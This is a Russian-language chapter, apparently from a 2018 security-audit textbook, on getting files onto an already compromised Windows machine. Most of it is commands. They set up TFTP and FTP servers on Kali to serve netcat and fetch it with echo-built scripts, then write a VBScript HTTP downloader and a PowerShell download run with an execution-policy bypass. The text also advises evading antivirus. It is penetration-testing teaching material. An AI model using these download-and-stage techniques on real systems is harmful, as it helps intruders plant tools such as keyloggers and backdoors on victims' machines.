Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Skabtsov_N_V_-_Audit_bezopasnosti_informatsionnykh_sistem_-_2018.pdf
Скачиваний:
111
Добавлен:
24.01.2021
Размер:
9 Mб
Скачать

12 Передача файлов

Зачастую после проведения успешной атаки на целевую систему появляется необходимость загрузить в нее один или несколько файлов. Это может быть все что угодно, например вирус, сниффер, клавиатурный шпион или шелл-код для эксплуатации очередной уязвимости. Однако это не всегда бывает просто, и в этой главе мы рассмотрим несколько вариантов достижения данной цели.

Прежде чем мы начнем, следует упомянуть одно серьезное препятствие, которое вы можете встретить на своем пути, — антивирус. В любой более-менее серьезной организации он по умолчанию устанавливается на все компьютеры и серверы. Основной принцип их работы — сравнение цифровой подписи файла с той, что содержится в их базе данных, и если совпадение будет найдено, то файл автоматически удаляется. Но это лишь полбеды, хуже, если антивирусы управляются централизованно, тогда администратор сети сразу же получит уведомление о происходящей атаке на систему. Есть два варианта обхода такого вида защиты. Первый способ: если вы решили загрузить, например, вирус, то лучше ему быть уникальным, а не созданным одним из бесчисленных генераторов. Второй способ — использовать легальные инструменты, которые не вызовут подозрений у антивируса.

Но остановимся на передаче файлов. После того как вы получили доступ к командной строке атакованной системы, первое, с чем вы столкнетесь, — это нехватка необходимых инструментов для управления и продолжения атаки. С UNIX-подобными системами проще, так как для скачивания вы всегда найдете такие утилиты, как wget, curl и netcat, а вот с Windows все немного сложнее.

TFTP

Это тривиальный протокол для передачи файлов. Он прост в реализации, не поддерживает аутентификацию и основан на транспортном протоколе UDP.

FTP работает в интерактивном режиме, и для его использования требуются определенные действия со стороны пользователя. Но, к сожалению, такой режим за-

FTP    171

частую недоступен сразу же после взлома системы, поэтому существует реальная необходимость использовать TFTP. Он хорош тем, что с ним можно работать в неинтерактивном режиме.

Для того чтобы скачать файл с TFTP-сервера, необходимо для начала создать последний. В Kali Linux присутствует встроенный сервер atftpd, запустим его на порте 69 и разместим в его директории netcat.

root@kali:~# mkdir /root/tftp

root@kali:~# atftpd --daemon –port 69 /root/tftp/

root@kali:~# cp /usr/share/windows-binaries/nc.exe /root/tftp/

Теперь загрузим netcat на скомпрометированную машину.

C:\Users\test>tftp -i 192.168.225.128 get nc.exe

Transfer successful: 59392 bytes in 16 second(s), 3712 bytes/s

FTP

FTP — это протокол передачи данных, работающий на основе TCP, он является более безопасным и функциональным по сравнению с TFTP. Еще одним его преимуществом является то, что клиент для работы с ним по умолчанию включен в ОС Windows.

Как и в предыдущем примере, начнем с конфигурации на своей машине сервера, поддерживающего данный протокол. В связи с тем что данный сервис обладает более широкой функциональностью, это займет немного больше времени.

root@kali:~# apt-get install pure-ftpd Reading package lists... Done

Building dependency tree

Reading state information... Done

The following additional packages will be installed: pure-ftpd-common

The following NEW packages will be installed: pure-ftpd pure-ftpd-common

0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.

...

update-rc.d: As per Kali policy, pure-ftpd init script is left disabled.

insserv: warning: current start runlevel(s) (empty) of script `pure-ftpd' overrides LSB defaults (2 3 4 5).

insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `pure-ftpd' overrides LSB defaults (0 1 6).

Processing triggers for systemd (231-9) ...

root@kali:~# groupadd ftpgroup

root@kali:~# useradd -g ftpgroup -d /dev/null -s /etc ftpuser root@kali:~# mkdir /home/ftpusers

root@kali:~# mkdir /home/ftpusers/joe

root@kali:~# pure-pw useradd joe -u ftpuser -d /home/ftpusers/joe Password: 123456

Enter it again: 123456

172    Глава 12  •  Передача файлов

root@kali:~# pure-pw mkdb

root@kali:~# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB root@kali:~# chown -hR ftpuser:ftpgroup /home/ftpusers/

root@kali:~# gksudo pureadmin root@kali:~# systemctl restart pure-ftpd

root@kali:~# cp /usr/share/windows-binaries/nc.exe /home/ftpusers/joe/ root@kali:~# ftp localhost

Connected to localhost.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------

220-You are user number 1 of 50 allowed. 220-Local time is now 07:54. Server port: 21. 220-This is a private system — No anonymous login

220 You will be disconnected after 15 minutes of inactivity. Name (localhost:root): joe

331 User joe OK. Password required Password:123456

230 OK. Current directory is /

Итак, мы установили и сконфигурировали сервис, а также создали домашнюю директорию и пользователя. Напоследок мы протестировали наш сервер и убедились в его работоспособности.

Теперь создадим на скомпрометированной машине файл с набором команд, необходимых для загрузки файла. Без этого не обойтись в том случае, если нам не будет доступна командная строка, работающая в интерактивном режиме.

C:\Users\test>echo open 192.168.225.128 21> ftp.txt

C:\Users\test>echo joe>> ftp.txt

C:\Users\test>echo 123456>> ftp.txt

C:\Users\test>echo bin>> ftp.txt

C:\Users\test>echo GET nc.exe>> ftp.txt

C:\Users\test>echo bye>> ftp.txt

C:\Users\test>ftp -s:ftp.txt

Загрузка файлов с использованием скриптов

Загрузить файлы можно с использованием VB и PowerShell-скриптов. Для примера создадим скрипт, который не будет требовать от пользователя никаких дополнительных действий, а значит, он неинтерактивен. Данный скрипт загрузит заранее размещенный нами на веб-сервере файл, используя HTTP.

C:\Users\test>echo Sub HTTPDownload( myURL, myPath )> downloader.vbs C:\Users\test>echo ' Written by Rob van der Woude>> downloader.vbs C:\Users\test>echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg>> downloader. vbs

C:\Users\test>echo Const ForReading = 1, ForWriting = 2, ForAppending = 8>> downloader.vbs

C:\Users\test>echo Set objFSO = CreateObject( "Scripting.FileSystemObject" )>> downloader.vbs

C:\Users\test>echo If objFSO.FolderExists( myPath ) Then>> downloader.vbs C:\Users\test>echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL,

Резюме    173

"/" ) + 1 ) )>> downloader.vbs

C:\Users\test>echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) — 1 ) ) Then>> downloader.vbs

C:\Users\test>echo strFile = myPath>> downloader.vbs C:\Users\test>echo End If>> downloader.vbs

C:\Users\test>echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )>> downloader.vbs

C:\Users\test>echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )>> downloader.vbs

C:\Users\test>echo objHTTP.Open "GET", myURL, False>> downloader.vbs C:\Users\test>echo objHTTP.Send>> downloader.vbs

C:\Users\test>echo For i = 1 To LenB( objHTTP.ResponseBody )>> downloader.vbs C:\Users\test>echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )>> downloader.vbs

C:\Users\test>echo Next>> downloader.vbs C:\Users\test>echo objFile.Close( )>> downloader.vbs C:\Users\test>echo End Sub>> downloader.vbs

C:\Users\test>cscript downloader.vbs http://192.168.255.128/nc.exe nc.exe

В случае, если система жертвы работает под управлением ОС Windows 7, 2008 или более новой версии, можно написать скрипт для PowerShell, что значительно упростит работу.

C:\Users\test>echo $WebClient = New-Object System.Net.WebClient> downloader.ps2 C:\Users\test>echo $WebClient.DownloadFile("http://192.168.255.128/nc.exe "," C:\ Users\test\nc.exe")>> downloader.ps2

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile –File downloader.ps2

Резюме

TFTP — простой протокол передачи файлов, не поддерживает шифрование и аутен­ тификацию, работает при помощи UDP. Его преимущество в том, что он поддерживается большим количеством устройств и может работать в неинтерактивном режиме.

FTP — протокол передачи файлов, работает при помощи TCP. Предоставляет более широкий набор возможностей, однако работает только в интерактивном режиме, что не всегда удобно.

Вы также можете загрузить файлы на целевой сервер, используя PowerShell, VB или другие языки для написания скриптов.

Всегда учитывайте то, что на целевой системе может быть установлен антивирус, и даже если вы все сделали правильно, именно он может стать причиной вашей неудачи. Используйте специальные методы обхода антивирусов.